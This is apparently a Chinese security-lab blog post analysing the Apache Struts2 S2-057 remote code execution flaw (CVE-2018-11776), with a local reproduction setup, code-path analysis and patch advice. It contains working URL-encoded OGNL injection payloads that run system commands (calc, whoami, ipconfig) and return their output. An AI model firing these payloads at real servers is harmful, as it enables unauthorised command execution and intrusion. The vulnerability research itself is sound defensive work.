近日,struts2又雙叒叕爆出遠程代碼執行高危漏洞s2-057,圈內大牛公佈了POC,今天我們來對漏洞利用復現及原理分析進行簡單的分析。(本文中提到的POC及利用代碼僅作為測試使用,切務攻擊他人網絡系統)
一、事件分析
2018年8月22日,ApacheStrust2發佈最新安全公告,Apache Struts2存在遠程代碼執行的高危漏洞(CVE-2018-11776),該漏洞由Semmle Security Researchteam的安全研究員Man YueMo發現。
在Struts2開發框架中使用namespace功能定義XML配置時如果namespace值未設置且上層動作配置(Action Configuration)中未設置或用通配符namespace時可能會導致遠程代碼執行。
url標籤未設置value和action值且上層動作未設置或用通配符namespace時可能會導致遠程代碼執行。
漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-057
二、影響範圍
Struts 2.3 – Struts 2.3.34
Struts 2.5 – Struts 2.5.16
其餘版本也可能會受到影響
三、攻擊過程概述
環境信息
- 操作系統:Windows 10
- 中間件:Apache tomcat 7.0.81
- Web框架:Apache struts2 2.3.34
下載地址:
https://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
漏洞復現
1)此次漏洞觸的發最小利用條件
1.設置alwaysSelectFullNamespace值為true
這個配置的目的是設定是否一直在最後一個斜線之前的任何位置選定NameSpace。
修改showcase\WEB-INF\lib\struts2-core-2.3.34.jar 庫中的
org/apache/struts2/default.properties 設置 struts.mapper.alwaysSelectFullNamespace 屬性為 true
2.修改struts-actionchaining.xml配置
result標籤返回的類型選擇“redirectAction”或“ chain” , 只有這兩個配置選項的值是可以將action轉發或者重定向。
修改WEB-INF/src/java/struts-actionchaining.xml和WEB-INF/classes/struts-actionchaining.xml文件為:
/p>
"-//Apache SoftwareFoundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
name="actionchaining"extends="struts-default">
name="actionChain1"class="org.apache.struts2.showcase.actionchaining.ActionChain1">
type="redirectAction"> name="actionName">register2
2)OGNL表達式注入導致數值計算
數值計算相對最簡單,在URL上指定 %{100+200} 就可以發生跳轉,得到計算的結果
URL:http://127.0.0.1:8080/struts2_2_3_34_showcase/${100+100}/actionChain1.action
url變為:
http://127.0.0.1:8080/struts2_2_3_34_showcase/200/register2.action
100+100=200即產生了OGNL注入。
3)彈出計算器
可以將${(100+100}替換成彈出計算器的POC
2.3.34 版本的poc:
%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%[email protected]@getRuntime%28%29.exec%28%22calc%22%29%29%7D//actionChain1.action
構造後的URL:
http://127.0.0.1:8080/struts2_2_3_34_showcase//%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%[email protected]@getRuntime%28%29.exec%28%22calc%22%29%29%7D//actionChain1.action
4)帶回顯的命令執行
利用
com.opensymphony.xwork2.dispatcher.HttpServletResponse
對象去打印命令執行後的回顯數據
2.3.34 版本的poc:
/%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
構造後的URL:
http://127.0.0.1:8080/struts2_2_3_34_showcase///%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
打印windowsip 信息 (ps: 由於操作系統語言及編碼問題,中文在瀏覽器中會顯示為?)
漏洞分析
漏洞位於struts2-core.jar!/org/apache/struts2/dispatcher/ServletActionRedirectResult.class
This.namespace這個成員的值來自於getNamespace()方法,再通過getUriFromActionMapping()返回URI字符串;
通過getUriFromActionMapping獲取的值賦給了tmpLocation變量,接著表達式進入setLocation方法
再通過super.execute方法調用了ServletActionResult ,而在execute方法體內跟進了conditionalParse方法,在這個方法內調用了ONGL執行的關鍵方法translateVariables。
獲得的param值傳入到translateVariables()方法內,最終在OnglTextPaser裡導致了OGNL表達式執行
四、安全防護建議
官方解決方案:
升級至版本2.3.35或2.5.17。這兩個版本僅僅只是更新了安全補丁,不存在兼容性問題。
臨時解決方案:
推薦用戶及時更新,但如果不想更新,可暫時使用官方提供的臨時解決方案:當上層動作配置中未設置或使用通配符namespace時,驗證所有XML配置中的namespace,同時在JSP中驗證所有url標籤的value和action。
參考鏈接:
https://cwiki.apache.org/confluence/display/WW/S2-057
https://lgtm.com/blog/apache_struts_CVE-2018-11776
https://xz.aliyun.com/t/2618
https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
https://www.anquanke.com/post/id/157823
閱讀更多 軒轅攻防實驗室 的文章